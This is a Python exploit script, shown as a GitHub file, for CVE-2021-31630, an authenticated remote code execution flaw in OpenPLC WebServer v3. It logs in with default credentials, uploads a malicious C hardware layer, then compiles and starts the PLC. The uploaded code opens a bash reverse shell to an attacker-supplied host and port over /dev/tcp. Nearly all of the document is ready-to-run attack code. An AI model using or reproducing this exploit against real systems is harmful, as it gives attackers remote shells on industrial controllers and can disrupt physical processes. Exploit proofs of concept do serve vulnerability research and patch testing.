-
Notifications
You must be signed in to change notification settings - Fork 5
/
cve_2021_31630.py
196 lines (167 loc) · 4.97 KB
/
cve_2021_31630.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/env python3
import sys
import argparse
import requests
from time import sleep
parser = argparse.ArgumentParser()
parser.add_argument('url', help='Target URL with http(s)://')
parser.add_argument('-u', help='Username', default='openplc')
parser.add_argument('-p', help='Password', default='openplc')
parser.add_argument('-t', help='Request Timeout, increase if server is slow', default=20)
parser.add_argument('-lh', help='LHOST', required=True)
parser.add_argument('-lp', help='LPORT', required=True)
args = parser.parse_args()
sess_obj = requests.Session()
TARGET = args.url
if not TARGET.startswith('http://') and not TARGET.startswith('https://'):
print('[-] Invalid target, URL expected.')
sys.exit()
if TARGET.endswith('/'):
TARGET = TARGET[:-1]
login_url = f'{TARGET}/login'
upload_url = f'{TARGET}/hardware'
compile_url = f'{TARGET}/compile-program?file=blank_program.st'
stop_url = f'{TARGET}/stop_plc'
start_url = f'{TARGET}/start_plc'
restore_url = f'{TARGET}/restore_custom_hardware'
TOUT = args.t
UNAME = args.u
PSSWD = args.p
LHOST = args.lh
LPORT = args.lp
def health(session):
rqst = session.get(TARGET, timeout=TOUT)
if rqst.status_code == 200:
print('[+] Service is Online!')
else:
print(f'[-] Status : {rqst.status_code}')
sys.exit()
def login(session, username, password):
payload = {
'username': username,
'password': password
}
rqst = session.post(login_url, data=payload, timeout=TOUT)
if rqst.status_code == 200:
if 'Bad credentials' in rqst.text:
print('[-] Invalid Credentials!')
sys.exit()
else:
print('[+] Logged in!')
else:
print(f'[-] Status : {rqst.status_code}')
sys.exit()
def upload(session):
template = '''
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer()
{
}
void updateCustomIn()
{
}
#define LHOST "<IP>"
#define LPORT "<PORT>"
void updateCustomOut()
{
int pipefd[2];
pid_t pid;
if (pipe(pipefd) == -1) {
exit(EXIT_FAILURE);
}
pid = fork();
if (pid == -1) {
exit(EXIT_FAILURE);
}
if (pid == 0) {
close(pipefd[0]);
dup2(pipefd[1], STDOUT_FILENO);
execl("/bin/bash", "/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/" LHOST "/" LPORT " 0>&1 &", NULL);
exit(EXIT_FAILURE);
} else {
close(pipefd[1]);
wait(NULL);
}
}
'''
modded_template = template.replace('<IP>', LHOST).replace('<PORT>', LPORT).encode()
payload = {
'hardware_layer': (None, b'blank_linux'),
'custom_layer_code': (None, modded_template)
}
rqst = session.post(upload_url, files=payload, timeout=TOUT)
if rqst.status_code == 200:
print('[+] Payload uploaded!')
comp_rqst = session.get(compile_url, timeout=TOUT)
if comp_rqst.status_code == 200:
print('[+] Waiting for 5 seconds...')
sleep(5)
print('[+] Compilation successful!')
else:
print(f'[-] Status : {comp_rqst.status_code}')
sys.exit()
else:
print(f'[-] Status : {rqst.status_code}')
sys.exit()
def start(session):
rqst = session.get(start_url, timeout=TOUT)
if rqst.status_code == 200:
print('[+] PLC Started! Check listener...')
else:
print(f'[-] Status : {rqst.status_code}')
def cleanup(session):
stop_rqst = session.get(stop_url, timeout=TOUT)
if stop_rqst.status_code == 200:
print('[+] PLC Stopped!')
else:
print(f'Status : {stop_rqst.status_code}')
clean_rqst = session.get(restore_url, timeout=TOUT)
if clean_rqst.status_code == 200:
sleep(10)
print('[+] Cleanup successful!')
else:
print(f'Status : {clean_rqst.status_code}')
sys.exit()
BANNER = '''
------------------------------------------------
--- CVE-2021-31630 -----------------------------
--- OpenPLC WebServer v3 - Authenticated RCE ---
------------------------------------------------
[>] Found By : Fellipe Oliveira
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
'''
print(BANNER)
print(f'[>] Target : {TARGET}')
print(f'[>] Username : {UNAME}')
print(f'[>] Password : {PSSWD}')
print(f'[>] Timeout : {TOUT} secs')
print(f'[>] LHOST : {LHOST}')
print(f'[>] LPORT : {LPORT}\n')
try:
print('[!] Checking status...')
health(sess_obj)
print('[!] Logging in...')
login(sess_obj, UNAME, PSSWD)
sleep(1)
print('[!] Restoring default program...')
cleanup(sess_obj)
sleep(1)
print('[!] Uploading payload...')
upload(sess_obj)
print('[!] Starting PLC...')
start(sess_obj)
sleep(1)
print('[!] Cleaning up...')
cleanup(sess_obj)
except Exception as exc:
print(f'[-] Exception : {exc}')
sys.exit()
except KeyboardInterrupt:
print('[!] Exiting...')
sys.exit()